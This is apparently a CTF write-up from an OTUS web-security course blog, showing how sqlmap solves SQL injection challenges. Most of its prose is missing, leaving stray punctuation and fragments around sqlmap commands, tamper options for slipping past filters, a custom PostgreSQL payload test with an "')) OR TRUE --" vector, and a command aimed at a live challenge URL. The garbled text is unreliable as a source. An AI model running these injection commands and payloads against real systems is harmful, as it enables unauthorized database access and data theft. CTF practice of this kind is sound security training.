Pour les futurs étudiants du cours "Web Application Security", nous publions un article d'un expert OTUS, analyste de virus dans une entreprise internationale - Alexander Kolesnikov
, SQLmap sql injection CTF . , risk-level «if you know what i mean». , .
, .
SQLMap
, SQLMap, . . , Wiki. , , . , , . - . , , , :
: «boolean blind», «error based», «inline query», «stacked query», «time blind», «union query». risk, level — technique . . , . . —tamper.
, : CTF , Bug bounty HackerOne. . SQL Injection.
, , : MySQL, SQLite, Oracle, PostgreSQL. , - .
task- - , :
, , POST , sqlmap:
, , , backend.
, : Cookie.
sqlmap.
:
, , .
" ", "" , :
- ; .
, :
:
sqlmap -r ./requestFromBrowser -p user—risk=1 —level=1 —batch —random-agent -b
. , . , , .
, :
, . , . . , - «Error Based», - batch ().
:
, sqlmap.
. - :
, , .
, - . , PostgreSQL. . ‘ username password.
, sqlmap . , - PostgreSQL, , . ? payload postgreSQL.
<test>
<title> PostgreSQL CTF Test</title>
<stype>2</stype>
<level>1</level>
<risk>3</risk>
<clause>1,8,9</clause>
<where>1</where>
<vector>')) OR TRUE --</vector>
<request>
<payload>'))OR TRUE --</payload>
</request>
<response>
<grep> DELIMETERSTART[DELIMETERSTOP[</grep>
</response>
<details>
<dbms>PostgreSQL</dbms>
</details>
</test>
, sqlmap, . , «FLAG-[any value]» , . PostgreSQL . , , :
sqlmap -r ./request2 -p username
--risk=1 --level=3 --random-agent -b —technique=E
:
, , postgreSQL, , «FLAG-» , , .
, , . . :
, - -t ./log. - , . , :
«danger|username» . payload sqlmap . , WAF. , WAF, , , .
, «=». ? - . sqlmap , , . , - equaltolike . , , «Wrong username» :
sqlmap -r ./request3 -p username --risk=1 --level=3 --random-agent -b -t ./log --tamper=equaltolike --string="Wrong username»
.
:
:
, GET. , . URL Cookie:
sqlmap -u "https://ringzer0ctf.com/challenges/37?q=" --risk=3 --level=5 —cookie=«PHPSESSID=[ ]" --random-agent -b -t ./log
.
, - URL . — tamper=space2morecomment
, , . :
tamper
«/_/»
«/*/
»:
sqlmap, :
— .
, . . — . !
" -".